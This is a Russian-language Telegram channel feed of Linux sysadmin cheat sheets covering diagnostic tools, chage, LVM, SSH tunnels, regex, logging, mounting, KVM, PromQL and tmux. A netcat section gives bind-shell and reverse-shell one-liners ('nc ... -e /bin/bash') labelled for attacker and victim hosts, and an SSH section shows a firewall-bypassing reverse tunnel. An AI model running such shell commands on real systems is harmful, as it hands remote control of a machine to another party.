devops_online
2 subscribers
22 photos
6 files
14 links
devops sysadm
Download Telegram
Forwarded from Linux
Стандартные инструменты для диагностики системы Linux

Ядро:

* perf — (в прошлом performance counters for Linux) — доступ к различным внутренним счётчикам ядра; незаменимый инструмент для выполнения профайлинга ядра/операционной системы
* ftrace — трассировщик вызовов функций внутри ядра Linux
* stap — скриптовый язык и инструмент для комплексной диагностики ядра и процессов Linux
* lttng — (Linux Trace Toolkit Next Generation) инструмент для трассировки ядра, программ и библиотек Linux
* bcc (BPF) — (сравнительно) новый и очень мощный инструмент для трассировки и манипуляции ядром Linux, основанный на Berkeley Packet Filter, позволяет делать космические вещи

Ввод/вывод:

* iostat (sysstat) — статистика ввода/вывода по заданному устройству (количество операций записи/чтения в единицу времени, скорость записи/чтения)
* pidstat (sysstat) — нагрузка на процессор, память и устройства от конкретного процесса (заданного по имени или номеру)
* pcstat — использование кэша (какой процент файла попадает в кэш, какой нет)
* lsof — информация об открытых процессом файлах
blktrace

Системные и библиотечные вызовы:

* strace — информация о системных вызовов, выполняемых процессом, позволяет понять или по крайней мере лучше разобраться, почему процесс висит или потребляет много ресурсов
* ltrace — трассировка библиотечных вызовов (которые не обязательно являются системными)

Аппаратные счётчики:

* tiptop — информация о процессах в реальном времени, похожа на top, но в отличие от него данные преимущественно берутся с аппаратных счётчиков
* numastat — просмотр информации об использовании памяти процессами/процессорами в системах с NUMA-архитектурой

Сеть:

* netstat — классический инструмент для просмотра конфигурации сети (сокетов, интерфейсов и так далее)
* ss — socket statistics, позволяет получить информацию об открытых сокетах и их состоянии (похожа на netstat, но умеет больше)
* ethtool — просмотр настроек и состояния ethernet-интерфейса
* snmpget — получение данных по SNMP
* lldptool — настройка LLDP и просмотр данных LLDP
* nicstat — статистика использования сетевой карты (сетевого интерфейса)
* ip — конфигурация и статистика стека TCP/IP Linux
* ifstat — статистика использования сетевого интерфейса в реальном времени

Процессы:

* top — информация о наиболее активных (наиболее ресурсоёмки) процессах + общая информация о системе
* vmstat — данные об использовании виртуальной памяти
* free — информация о свободной памяти, кэше, буферах
* slabtop — информация о заполнении SLAB-кэша

Процессор:

* mpstat (sysstat) — общая информация об использовании процессора (одного или всех процессоров)
* turbostat (kernel-tools) — информация о топологии процессора, частоте, питании, температуре
* rdmsr — (Read from Model Specific Register) чтение из моделезависимых регистров (позволяет оценить использование LLC-кэша и прочее)

Универсальные:

* sar — (system activity report) информация о системной активности в реальном времени (диск, память, процессор и так далее)
* dstat — универсальный инструмент для сбора информации о системе (vmstat, iostat, netstat, ifstat и ещё много других в одном флаконе)
* dmesg — журнал сообщений ядра с момента загрузки системы
* /proc — псевдофайловая система предоставляющая доступ к внутренним данным/счётчикам ядра
* sysdig — универсальный инструмент для сбора и анализа данных о системе (сотни различных источников скомбинированные вместе)

👉@linuxchmod
Как заставить пользователя изменить пароль при следующем входе в систему

Существует несколько способов.

Использование команды passwd
sudo passwd --expire [username]

Использование команды chage
sudo chage --lastday 0 [username]

Срок действия паролей
chage -l
Будет выведена следующая информация:
Когда пароль был последний раз изменен;
Дата окончания действия пароля;
Сколько дней осталось до окончания действия пароля;
Когда учетная запись пользователя будет закончена (можно, пожалуйста, далее мы будем говорить «заэкспайрится»?)
Минимальное количество дней между итерацией смены пароля;
Максимальное количество дней между итерацией смены пароля;

Заставляем пользователя менять пароль каждые 90 дней
sudo chage -M 90

Задаем срок жизни учетной записи (до 12 июня 2023)
sudo chage -E 2023-06-12 serg
sudo chage -E 2023-06-12 oleg


Сколько времени на смену пароля?
В примере даем Борису 10 дней на смену пароля с момента как пароль заэкспайрился
sudo chage -I 10 boris

Уведомление о смене пароля заранее
Через 25 дней истекает срок годности пароля Бориса
sudo chage -W 25 boris

Защищаемся от частой смены паролей пользователя
Минимальное количество дней между сменой паролей
sudo chage -m 25 boris

Удалить ограничение в днях
sudo chage -m 0 sergey

👉 @i_odmin
wireshark.pdf
368.3 KB
📌Подборка шпаргалок по:

⚫️cron
⚫️curl
⚫️docker
⚫️regex
⚫️vim
⚫️wireshark

👉 @i_odmin
Please open Telegram to view this post
VIEW IN TELEGRAM
📌 Шпаргалка по управлению LVM (Logical Volume Manager)

📍 Основные компоненты LVM
- PV (Physical Volume) – физический том (жёсткий диск, раздел).
- VG (Volume Group) – группа томов (объединяет PV).
- LV (Logical Volume) – логический том (раздел внутри VG).


🔹 Создание LVM
1️⃣ Создание PV (физического тома)

pvcreate /dev/sdX

📌 Размечаем диск как физический том LVM.

2️⃣ Создание VG (группы томов)

vgcreate my_vg /dev/sdX

📌 Создаём группу томов и добавляем в неё физический диск.

3️⃣ Создание LV (логического тома)

lvcreate -L 10G -n my_lv my_vg

📌 Создаём логический том размером 10 ГБ в группе my_vg.



🔹 Просмотр информации
📋 Список всех PV, VG, LV

pvdisplay # Физические тома
vgdisplay # Группы томов
lvdisplay # Логические тома


📋 Короткий формат

pvs # PV
vgs # VG
lvs # LV




🔹 Управление LVM
📏 Расширение LV

lvextend -L +5G /dev/my_vg/my_lv
resize2fs /dev/my_vg/my_lv # Для ext4
xfs_growfs /dev/my_vg/my_lv # Для XFS

📌 Добавляем 5 ГБ к логическому тому и расширяем файловую систему.

🔪 Удаление LV

lvremove /dev/my_vg/my_lv

📌 Удаление логического тома.

🔪 Удаление VG

vgremove my_vg

📌 Удаление группы томов.

🔪 Удаление PV

pvremove /dev/sdX

📌 Удаление физического тома.



🔹 Дополнительно
📍 Автоматическое распределение PV в VG

vgextend my_vg /dev/sdY

📌 Добавляем новый диск в группу томов.

📍 Сжатие LV (уменьшение размера)

umount /dev/my_vg/my_lv
e2fsck -f /dev/my_vg/my_lv
resize2fs /dev/my_vg/my_lv 10G
lvreduce -L 10G /dev/my_vg/my_lv
mount /dev/my_vg/my_lv /mnt

📌 Уменьшаем размер тома до 10 ГБ (осторожно: может привести к потере данных!).

📍 Создание снапшота

lvcreate -L 1G -s -n my_snapshot /dev/my_vg/my_lv

📌 Создаём снапшот логического тома.



🔥 Полезные команды

lsblk # Просмотр разделов
df -h # Проверка занятого места
blkid # Информация о файловых системах


💡 LVM позволяет динамически изменять размеры томов без перезапуска системы!

👉 @i_odmin_book
🔐 Работа с SSH (OpenSSH, ключи, туннели, Port Forwarding)

1️⃣ Подключение по SSH

ssh user@host
ssh -p 2222 user@host # Подключение к нестандартному порту
ssh -i ~/.ssh/id_rsa user@host # Подключение с указанием ключа


2️⃣ Генерация SSH-ключей

ssh-keygen -t rsa -b 4096 -C "your_email@example.com" # Генерация RSA-ключа
ssh-keygen -t ed25519 -C "your_email@example.com" # Генерация Ed25519-ключа (рекомендуется)

- Открытый ключ id_rsa.pub добавляется на сервер (~/.ssh/authorized_keys).
- Закрытый ключ id_rsa хранится локально.

3️⃣ Добавление ключа в агент SSH

eval "$(ssh-agent -s)" # Запуск агента
ssh-add ~/.ssh/id_rsa # Добавление ключа в агент


4️⃣ Копирование ключа на сервер

ssh-copy-id user@host
cat ~/.ssh/id_rsa.pub | ssh user@host "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"


5️⃣ Конфигурация SSH-клиента (~/.ssh/config)
Файл ~/.ssh/config позволяет задать настройки подключения:

Host myserver
HostName example.com
User myuser
Port 2222
IdentityFile ~/.ssh/id_rsa
ForwardAgent yes

Подключение теперь выполняется просто командой:

ssh myserver




📡 Проброс портов (Port Forwarding)

🔄 Локальный порт-форвардинг (L)
Перенаправляет локальный порт (-L local_port:remote_host:remote_port):

ssh -L 8080:127.0.0.1:80 user@host

- Теперь локальный localhost:8080 перенаправляется на host:80.

🔄 Удаленный порт-форвардинг (R)
Перенаправляет порт сервера на локальный компьютер (-R remote_port:local_host:local_port):

ssh -R 9000:localhost:22 user@host

- Теперь подключение к host:9000 попадёт на localhost:22.

🔄 Динамический порт-форвардинг (SOCKS-прокси)

ssh -D 1080 user@host

- Теперь можно использовать localhost:1080 как SOCKS-прокси.



🔀 Обход брандмауэров (Reverse SSH-туннель)
Если сервер за NAT или firewall, создаем обратное подключение:

ssh -R 2222:localhost:22 user@public-server
ssh -p 2222 localhost # Теперь можно подключаться с public-server обратно




📑 Полезные команды

🔍 Просмотр информации о сервере:

ssh user@host 'uname -a && uptime'


📡 Подключение без выполнения команд (для туннелей):

ssh -N -D 1080 user@host


⏳ Подключение с поддержкой восстановления соединения:

autossh -M 0 -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" -N -D 1080 user@host


🔒 Ограничение команд пользователя в authorized_keys:

command="/path/to/script.sh",no-agent-forwarding,no-X11-forwarding ssh-rsa AAAAB3...




🔥 Дополнительные параметры SSH
🔹 Выключение строгой проверки хоста:

ssh -o StrictHostKeyChecking=no user@host

🔹 Использование прокси:

ssh -o ProxyCommand="nc -X 5 -x proxyhost:1080 %h %p" user@host

🔹 Перезапуск службы SSH:

sudo systemctl restart sshd # Для systemd
sudo service ssh restart # Для SysVinit

🔹 Проверка лога SSH:

sudo journalctl -u sshd --no-pager | tail -n 20 # Для systemd
sudo tail -f /var/log/auth.log # Для Debian/Ubuntu
sudo tail -f /var/log/secure # Для CentOS


👉 @i_odmin_book
🔹 Шпаргалка по REGEX для Админов 🔹

📌 Основы
. – любой символ
^ – начало строки
$ – конец строки
\d – любая цифра (0-9)
\w – любая буква или цифра (a-z, A-Z, 0-9, _)
\s – пробел, табуляция, перевод строки
\b – граница слова
\n – перевод строки

📌 Квантификаторы
* – 0 или больше раз (жадный)
+ – 1 или больше раз (жадный)
? – 0 или 1 раз
{n} – ровно n повторений
{n,} – n или больше повторений
{n,m} – от n до m повторений

📌 Группировка и Альтернация
(abc) – группа
(?:abc) – негруппирующая скобка
abc|def – abc или def

📌 Классы символов
[abc] – любой символ из списка
[^abc] – любой символ, кроме указанных
[a-z] – диапазон символов (от a до z)
[0-9] – цифры

📌 Якори
\b – граница слова
\B – не граница слова
^ – начало строки
$ – конец строки

📌 Практические примеры
✅ Найти все IP-адреса

\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b

✅ Вытащить email-адреса

\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b

✅ Проверить номер телефона (формат +7 900 123-45-67)

\+7\s\d{3}\s\d{3}-\d{2}-\d{2}

✅ Найти даты в формате YYYY-MM-DD

\b\d{4}-\d{2}-\d{2}\b


🔥 Используйте grep, sed, awk и Perl для работы с REGEX в Linux!

💾 Полезные утилиты:
grep -E 'regex' file.txt
sed -n '/regex/p' file.txt
awk '/regex/ {print $0}' file.txt

👉 @i_odmin
📌 Журналы системы и мониторинг

🖥️ Основные инструменты логирования и мониторинга в Linux

📜 journalctl – просмотр логов systemd
🔹 journalctl -f — следить за логами в реальном времени
🔹 journalctl -u nginx — логи конкретного сервиса
🔹 journalctl --since "1 hour ago" — логи за последний час
🔹 journalctl -b -1 — логи предыдущей загрузки

💡 Фильтрация:
🔹 journalctl -p err — только ошибки
🔹 journalctl -k — только сообщения ядра



🔄 logrotate – ротация логов
Файл конфигурации: /etc/logrotate.conf

Пример настройки ротации:

/var/log/nginx/*.log {
weekly
rotate 4
compress
missingok
notifempty
}

🔹 logrotate -d /etc/logrotate.conf — тест без изменений
🔹 logrotate -f /etc/logrotate.conf — принудительная ротация



📡 syslog (rsyslog, syslog-ng) – логирование в файлы и удаленно
🔹 Конфиг: /etc/rsyslog.conf
🔹 /var/log/syslog — общий системный лог
🔹 /var/log/auth.log — авторизации
🔹 /var/log/kern.log — логи ядра

💡 Пример отправки логов на удалённый сервер (rsyslog):
Добавить в /etc/rsyslog.conf:

*.* @192.168.1.100:514

🔹 Перезапуск: systemctl restart rsyslog



⚙️ dmesg – логи ядра
🔹 dmesg | grep -i error — ошибки ядра
🔹 dmesg -T — отображение времени в читаемом формате

🛠 Полезные команды:
🔹 dmesg -H — цветная и структурированная выдача
🔹 dmesg --level=err,warn — фильтр по уровню



📊 Мониторинг логов
🔹 tail -f /var/log/syslog — следить за логами
🔹 grep -i "error" /var/log/syslog — поиск ошибок
🔹 awk '{print $5}' /var/log/syslog | sort | uniq -c | sort -nr — топ источников логов

💡 Автоматизация: используйте fail2ban, logwatch и Grafana+Loki для анализа логов 🔥

⚡ Сохрани, чтобы не потерять! 🚀

👉 @i_odmin_book
🔧 Автоматическое монтирование дисков в Linux

🔹 1. Определение дисков и разделов
Перед монтированием нужно узнать, какие диски доступны:


lsblk # Показывает структуру дисков и разделов
fdisk -l # Выводит информацию о разметке дисков
blkid # Показывает UUID и метки файловых систем


🔹 2. Монтирование вручную (для проверки)

sudo mount /dev/sdXn /mnt

🔹 где /dev/sdXn – ваш раздел, /mnt – точка монтирования.
Проверить можно командой df -h.

Отключение монтирования:

sudo umount /mnt


🔹 3. Автоматическое монтирование через /etc/fstab
Для автоматического монтирования при загрузке добавьте строку в /etc/fstab:

UUID=xxxx-xxxx /mnt ext4 defaults 0 2

👉 Как узнать UUID?

blkid | grep /dev/sdXn

🔹 Формат записи в fstab:

<устройство> <точка монтирования> <ФС> <опции> <dump> <pass>

📌 Пример для NTFS (Windows-диски):

UUID=xxxx-xxxx /mnt/ntfs ntfs-3g defaults,uid=1000,gid=1000,dmask=027,fmask=137 0 0


🔄 Применение без перезагрузки:

sudo mount -a


🔹 4. Автомонтирование через systemd (для USB и съемных дисков)
Создаем unit-файл:

sudo nano /etc/systemd/system/mnt-usb.mount

Вставляем:

[Unit]
Description=Монтирование USB
Requires=systemd-fsck@dev-sdb1.service
After=systemd-fsck@dev-sdb1.service

[Mount]
What=/dev/sdb1
Where=/mnt/usb
Type=vfat
Options=defaults,noatime

[Install]
WantedBy=multi-user.target

Активируем:

sudo systemctl daemon-reload
sudo systemctl enable mnt-usb.mount
sudo systemctl start mnt-usb.mount


🔹 5. Автомонтирование через udev (динамическое монтирование)
Создаем правило:

sudo nano /etc/udev/rules.d/99-usb-mount.rules

Добавляем:

ACTION=="add", KERNEL=="sd[b-z][1-9]", RUN+="/bin/mount /dev/%k /mnt/usb"
ACTION=="remove", KERNEL=="sd[b-z][1-9]", RUN+="/bin/umount /mnt/usb"

Применяем изменения:

sudo udevadm control --reload-rules
sudo udevadm trigger


👉 @i_odmin
🎯 Шпаргалка по регулярным выражениям (RegEx)

Полезно для всех, кто работает с текстом, логами, парсингом или просто хочет стать гуру поиска 🔍


🔤 Символы для сопоставления

. — любой символ, кроме перевода строки
\w — буква, цифра или подчёркивание
\W — любой символ, кроме \w
\d — цифра (0–9)
\D — любой символ, кроме цифры
\s — пробельный символ
\S — любой непробельный символ




⚓ Якоря (позиции в строке)

^ — начало строки
$ — конец строки
\b — граница слова
\B — не граница слова




➕ Квантификаторы (повторы)

* — 0 или более раз
+ — 1 или более раз
? — 0 или 1 раз
{n} — ровно n раз
{n,} — от n раз
{n,m} — от n до m раз




🧩 Классы символов

[abc] — один из: a, b или c
[^abc] — любой, кроме: a, b или c
[a-z] — символ от a до z
[0-9] — цифра от 0 до 9




🌀 Группировка и выбор

(...) — захватывающая группа
(?:...) — НЕзахватывающая группа
| — логическое ИЛИ (или то, или это)




🛡 Экранирование

\ — экранирует спецсимвол (например, \. — точка)




🧪 Примеры

\d{3}-\d{2}-\d{4} — формат SSN: 123-45-6789
\w+@\w+\.\w+ — email-адрес


📌 Сохрани, чтобы не потерять!

👉 @i_odmin
Forwarded from Bash Советы
🛡 Проверка SSL-сертификатов с помощью Bash

Иногда нужно быстро проверить срок действия SSL-сертификата удалённого сайта. Вот удобный однострочник на Bash, который покажет дату окончания действия сертификата:


echo | openssl s_client -servername example.com -connect example.com:443 2>/dev/null \
| openssl x509 -noout -dates | grep notAfter


📆 Чтобы получить только оставшиеся дни до окончания:


end_date=$(echo | openssl s_client -servername example.com -connect example.com:443 2>/dev/null \
| openssl x509 -noout -enddate | cut -d= -f2)

end_ts=$(date -d "$end_date" +%s)
now_ts=$(date +%s)
echo "Осталось дней: $(( (end_ts - now_ts) / 86400 ))"


🔒 Полезно для автоматического мониторинга или проверки перед продлением сертификатов!

👉@bash_srv
Полезные команды Linux. Манипуляции с текстом

# cat -n file1
Вывести содержимое файла, нумеруя выводимые строки
# cat example.txt | awk 'NR%2==1'
Вывести только не четные строки файла
# echo a b c | awk '{print $1,$3}'
Вывести первую и третью колонки. Разделение, по-умолчанию, по пробельным символам или символу табуляции
# echo a b c | awk '{print $1}'
Вывести первую колонку содержимого файла. Разделение, по-умолчанию, по пробельным символам или символу табуляции
# comm -3 file1 file2
Сравнить содержимое двух файлов, удаляя строки встречающиеся в обоих файлах
# comm -1 file1 file2
Сравнить содержимое двух файлов, не отображая строки принадлежащие файлу file1
# comm -2 file1 file2
Сравнить содержимое двух файлов, не отображая строки принадлежащие файлу file2
# grep [0-9] /var/log/messages
Отобрать и вывести строки содержащие цифровые символы из файла /var/log/messages
# grep ^Aug /var/log/messages
Отобрать и вывести строки, начинающиеся с сочетания символов "Aug", из файла /var/log/messages
# grep Aug /var/log/messages
Отобрать и вывести строки, содержащие сочетание символов "Aug" из файла /var/log/messages
# grep Aug -R /var/log/*
Отобрать и вывести строки, содержащие сочетание символов "Aug", из всех файлов, расположенных в директории /var/log и ниже
# paste -d '+' file1 file2
Объединить содержимое file1 и file2 в виде таблицы с разделителем "+"
# paste file1 file2
Объединить содержимое file1 и file2 в виде таблицы: строка 1 из file1 = строка 1 колонка 1-n, строка 1 из file2 = строка 1 колонка n+1-m
# sdiff file1 file2
Сравнить содержимое двух файлов
# sed 's/string1/string2/g' example.txt
Заменить string1 на string2 в файле example.txt и вывести содержимое
# sed '/ *#/d; /^$/d' example.txt
Удалить пустые строки и комментарии из файла example.txt
# sed '/^$/d' example.txt
Удалить пустые строки и комментарии из файла example.txt
# sed -e '1d' exampe.txt
Удалить первую строку из файла example.txt
# sed -n '/string1/p'
Отобразить только строки содержащие string1
# sed -e 's/string//g' example.txt
Удалить строку string1 из текста файла example.txt не изменяя всего остального
# sed -e 's/ *$//' example.txt
Удалить пустые символы в конце каждой строки файла example.txt
# sed -n '5p;5q' example.txt
Вывести пятую строку
# sed -n '2,5p' example.txt
Вывести строки со второй по пятую
# sed -e 's/00*/0/g' example.txt
Заменить последовательность из любого количества нулей одним нулём
# sort file1 file2
Вывести отсортированное содержимое двух файлов
# sort file1 file2 | uniq
Вывести отсортированное содержимое двух файлов исключая повторные значения
# sort file1 file2 | uniq -u
Вывести уникальные значения из отсортированного содержимого двух файлов
# sort file1 file2 | uniq -d
Вывести только повторяющиеся значения из отсортированного содержимого двух файлов
# echo 'word' | tr '[:lower:]' '[:upper:]'
Перевести символы нижнего регистра в верхний

👉 @i_odmin_book
🖥 KVM: Управление виртуальными машинами из консоли (шпаргалка)

🔧 1. Проверка поддержки виртуализации:


egrep -c '(vmx|svm)' /proc/cpuinfo


Если результат > 0 — виртуализация поддерживается.

🔧 2. Установка KVM и утилит:


sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virt-manager


Для CentOS/RHEL:


sudo yum install qemu-kvm libvirt virt-install bridge-utils virt-manager


🔧 3. Проверка запуска демонов:


sudo systemctl enable --now libvirtd
sudo systemctl status libvirtd




📂 Основные команды управления ВМ:

📌 Список виртуальных машин:


virsh list --all


📌 Запуск ВМ:


virsh start <vm_name>


📌 Остановка ВМ (корректно):


virsh shutdown <vm_name>


📌 Жёсткое выключение (аналог выдернуть шнур):


virsh destroy <vm_name>


📌 Автозапуск при загрузке хоста:


virsh autostart <vm_name>


📌 Удаление ВМ:


virsh undefine <vm_name>


📌 Снимок (snapshot):


virsh snapshot-create-as <vm_name> <snapshot_name>


📌 Восстановление из снимка:


virsh snapshot-revert <vm_name> <snapshot_name>


📌 Консоль к ВМ (требуется virtio):


virsh console <vm_name>




🛠 Создание новой ВМ из образа:


virt-install \
--name vm1 \
--ram 2048 \
--vcpus=2 \
--disk path=/var/lib/libvirt/images/vm1.qcow2,size=20 \
--os-type=linux \
--os-variant=ubuntu20.04 \
--network network=default \
--graphics none \
--console pty,target_type=serial \
--location /iso/ubuntu-20.04.iso \
--extra-args 'console=ttyS0'




💾 Управление образами:

📌 Создать образ диска:


qemu-img create -f qcow2 /var/lib/libvirt/images/vm1.qcow2 20G


📌 Проверка и инфо о диске:


qemu-img info /path/to/image.qcow2




🔗 Сетевые настройки:

📌 Список сетей:


virsh net-list --all


📌 Создание мостовой сети (bridge):
Редактировать /etc/netplan/*.yaml или /etc/network/interfaces (в зависимости от дистрибутива).

📌 Применить изменения:


netplan apply




📎 Полезное:

📌 Список ISO-образов, путь по умолчанию:
/var/lib/libvirt/images/ или /iso/

📌 Управление пулом хранения:


virsh pool-list
virsh vol-list default




💡 Советы:

– Используйте virt-top для мониторинга ВМ в реальном времени.
– Изучите virt-clone для клонирования ВМ.
– Используйте virsh dumpxml и virsh edit для тонкой настройки конфигурации ВМ.

👉 @i_odmin_book
🎯 Netcat (nc) — универсальный сетевой инструмент
Может устанавливать TCP/UDP-соединения, сканировать порты, прослушивать соединения и передавать данные между хостами.

🔧 Синтаксис:

nc [опции] [хост] [порт]



📘 Основные опции:

-4 Использовать только IPv4
-6 Использовать только IPv6
-l Прослушивать соединения (сервер)
-v Подробный вывод
-n Не выполнять DNS-резолвинг
-s Указать исходный IP
-w Таймаут соединения
-u Использовать UDP вместо TCP
-k Не закрывать соединение после получения
-z Режим сканера портов




🔍 Сканирование портов и баннерграббинг:

nc -zvn 192.168.59.1 20-100 # Скан портов от 20 до 100
nc -zvn 192.168.59.1 80 22 443 # Скан определённых портов
nc -zvn sysxplore.com 80 # Скан сайта
nc sysxplore.com 80 # Получение баннера




🖥 Удалённая оболочка (Remote Shell):

На сервере (жертва):

nc -nlvp 8888 -e /bin/bash

На клиенте (атакующий):

nc 192.168.59.3 8888



🔁 Обратная оболочка (Reverse Shell):

На атакующем хосте:

nc -nlvp 8888

На жертве:

nc 192.168.59.3 8888 -e /bin/bash



📥 Передача файлов:

Скачивание:

nc -nlvp 8888 > файл.txt # Получатель
nc хост 8888 < файл.txt # Отправитель


Загрузка:

nc -nlvp 8888 < файл.txt # Отправитель
nc хост 8888 > файл.txt # Получатель




💬 Чат:

nc -nlvp 8888 # Один клиент
nc хост 8888 # Второй клиент




🎥 Видеопоток:

cat видео.avi | nc -nlvp 8888 # Сервер
nc хост 8888 | mplayer -vo x11 - # Клиент





📦 Сжатие и передача директорий:
Отправитель:

tar cfp - ./папка | nc хост 8888

Получатель:

nc -l -p 8888 | uncompress | tar xvfp -



🔐 Шифрование и передача:

Отправка:

nc -l -p 8888 | openssl enc -d -des3 -pass pass:пароль > файл

Приём:

openssl enc -des3 -pass pass:пароль -in файл | nc хост 8888



💽 Клонирование Linux-диска:

Отправитель:

dd if=/dev/sdX | nc -l -p 8888

Получатель:

nc хост 8888 | dd of=/dev/sdX


👉 @i_odmin_book
👍 Нашли крутую коллекцию приёмов для bash

Pure Bash Bible — охватывает обработку строк, массивов, файлов и многое другое

— Все преобразования производятся на чистом bash, без каких-либо зависимостей

Это идеальный справочник, если вы хотите ускорить свои скрипты и избавиться от ненужных зависимостей


👏 Этичный хакер
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥 ТОП-20 полезных PromQL-запросов для системного администратора

📊 PromQL - язык запросов Prometheus для анализа метрик.

Часто нужные запросы для мониторинга CPU, RAM, дисков, сети и сервисов.


⚡ CPU

1. Загрузка CPU по ядрам


rate(node_cpu_seconds_total{mode!="idle"}[5m])


2. Средняя загрузка CPU на инстанс


avg by(instance)(rate(node_cpu_seconds_total{mode!="idle"}[5m]))


3. CPU > 80% (для алерта)


100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 80



🧠 Память

4. Использование RAM (%)


(1 - (node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes)) * 100


5. Swap usage (%)


(node_memory_SwapTotal_bytes - node_memory_SwapFree_bytes) / node_memory_SwapTotal_bytes * 100



💾 Диски

6. Свободное место на диске (%)


(node_filesystem_avail_bytes{fstype!="tmpfs"}
/ node_filesystem_size_bytes{fstype!="tmpfs"}) * 100


7. IOPS (операции в секунду)


rate(node_disk_reads_completed_total[5m])
+ rate(node_disk_writes_completed_total[5m])


8. Загрузка диска (busy time)


rate(node_disk_io_time_seconds_total[5m])



🌐 Сеть

9. Входящий трафик (байт/с)


rate(node_network_receive_bytes_total[5m])


10. Исходящий трафик (байт/с)


rate(node_network_transmit_bytes_total[5m])


11. Ошибки сети


rate(node_network_receive_errs_total[5m])
+ rate(node_network_transmit_errs_total[5m])



🌍 HTTP и сервисы

12. HTTP-запросы в секунду


rate(http_requests_total[5m])


13. Ошибки 5xx (%)


rate(http_requests_total{status=~"5.."}[5m])
/ rate(http_requests_total[5m]) * 100


14. Время ответа (p95)


histogram_quantile(0.95, rate(http_request_duration_seconds_bucket[5m]))



🛠️ Системные метрики

15. Load Average (1 мин)


node_load1


16. Открытые TCP-сессии


node_netstat_Tcp_CurrEstab


17. Количество процессов


node_processes_state



🔔 Метрики для алертов

18. Down (инстанс не отвечает)


up == 0


19. Время работы (uptime)


node_time_seconds - node_boot_time_seconds


20. Переполненные файловые дескрипторы


node_filefd_allocated / node_filefd_maximum * 100 > 80


📌 Эти запросы можно сразу использовать в Grafana или в алертах Prometheus.

👉 @i_odmin_book
Шпаргалка по работе с Tmux (терминальный мультиплексор)

1. Установка

CentOS (нужен подключенный репо EPEL)
# yum install tmux
Fedora
# dnf install tmux
Ubuntu/Debian
# apt-get install tmux


2. Конфигурационные файлы

(пользователя, системный):
~/.tmux.conf
/etc/tmux.conf


До версии 2.1
set -g mouse-resize-pane on
set -g mouse-select-pane on
set -g mouse-select-window on
set -g mode-mouse on



3. Работа с Tmux

Старт
# tmux //без параметров будет создана сессия 0
# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.

Префикс (с него начинаются команды)
<C-b> (CTRL + b)

Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>

Список окон
<C-b w> // переключиться курсором вверх-вниз

Переключение
<C-b n> // следующее окно
<C-b p> // предыдущее окно
<C-b 0> // переключиться на номер окна

Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.

Деление окна горизонтально
<C-b ">
либо команда
# tmux split-window -h

Деление окна вертикально
<C-b %>
либо команда
# tmux split-window -v

Переход между панелей
<C-b стрелки курсора> // либо режим мыши

Изменение размеров панелей
<C-b c-стрелки> // либо режим мыши

Закрытие окон
<C-b x> // нужно подтвердить y
либо
# exit

Отключение от сессии
<C-b d>
либо
# tmux detach

Список сессий
# tmux ls

Подключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной
# tmux attach -t session1 // подключение к сессии session1

Выбрать сессию
<C-b s>

Завершение сессии
# tmux kill-session -t session1

Завершить все сессии
# tmux kill-server

Список поддерживаемых комманд
# tmux list-commands

Дополнительная информация
# man tmux

Мы в Max

👉 @i_odmin_book